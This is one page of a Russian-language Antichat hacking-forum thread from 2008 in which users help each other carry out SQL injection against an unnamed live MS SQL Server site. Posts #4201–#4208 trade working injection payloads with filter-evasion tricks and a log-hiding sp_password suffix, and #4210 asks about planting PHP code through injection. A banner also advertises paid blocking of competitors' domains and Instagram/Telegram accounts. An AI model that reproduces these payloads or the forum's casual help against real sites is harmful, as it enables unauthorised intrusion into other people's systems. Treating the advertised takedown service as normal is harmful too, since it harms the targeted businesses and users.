Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 421 из 2438

421

Опции темы

Поиск в этой теме

Опции просмотра

#4201

19.12.2008, 20:12

SHS

Познающий

Регистрация: 04.08.2008

Сообщений: 53

С нами: 9351767

Репутация: 2

Чего-то мне последнее время кривые инъекции попадаются )))

-1+union+select+1--
Incorrect syntax near '1'.

-1+union+select+null--
Incorrect syntax near the keyword 'null'.

Чего оно хочет? O_o

Order by .. к примеру работает.

И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.
------
Подкиньте пару вариантов как это одолеть ))

З. Ы. Microsoft SQL Server 2000

#4202

19.12.2008, 20:22

aka PSIH

Постоянный

Регистрация: 07.02.2006

Сообщений: 630

С нами: 10660753

Репутация: 676

Цитата:

И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.

попробуй так:
(select/**/top/**/1/**/xxx/**/from/**/xxx)--
(select%20top%201%20xxx%20from%20xxx)--

p.s: вообще линк скинь...

#4203

19.12.2008, 20:48

SHS

Познающий

Регистрация: 04.08.2008

Сообщений: 53

С нами: 9351767

Репутация: 2

Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.

#4204

19.12.2008, 21:03

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Попробуй просто обычные пробелы, без плюсов и слешей

#4205

19.12.2008, 21:14

~~cash$$$~~

Banned

Регистрация: 06.01.2008

Сообщений: 413

С нами: 9655526

Репутация: 1334

Цитата:

Сообщение от SHS

Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.

'top' иногда фильтруется попробуй заменить на max(table_name)

#4206

19.12.2008, 22:20

SHS

Познающий

Регистрация: 04.08.2008

Сообщений: 53

С нами: 9351767

Репутация: 2

-1+or+1=(select+max(table_name)+from+qwqw)--sp_password
An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.
Как его именно юзать? Можно примерчик?
С top разобраться я как понял можно
Но еще кое-что

Incorrect syntax near the keyword 'from'.

#4207

19.12.2008, 22:39

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

SHS
micr. ole?

Цитата:

-1+or+1=(select+top+1+table_name+from+information_s chema.columns+where+column_name+like+('sp_password '))--

#4208

19.12.2008, 22:50

SHS

Познающий

Регистрация: 04.08.2008

Сообщений: 53

С нами: 9351767

Репутация: 2

Ладно хрен с ним с этим ресурсом. Отложу на время. Видимо там скрипт замысловатый. Угадать какие параметры и где вмазать пока увы не могу. Но по простой схеме инъекций там никак.

#4209

20.12.2008, 00:47

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

в общем друзья такой вопрос по SQL:

мне нужно задать свойство unique первичному ключу в таблице.. инными словами при создании таблицы с помощью оператора create задать первичному ключу свойство unique. как теперь его добавить? )

Последний раз редактировалось sabe; 20.12.2008 в 02:28..

#4210

20.12.2008, 06:54

j0ker13

Участник форума

Регистрация: 28.07.2008

Сообщений: 199

С нами: 9361870

Репутация: 58

вопрос такой) sql inj я могу выводить данные из базы) могу править данные которые могу потом вывести) если добавить в таблицу запись <?php phpinfo(); ?> а потом вывести ее на страничку то он не выполняется(( а должен?)

Страница 421 из 2438

421

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход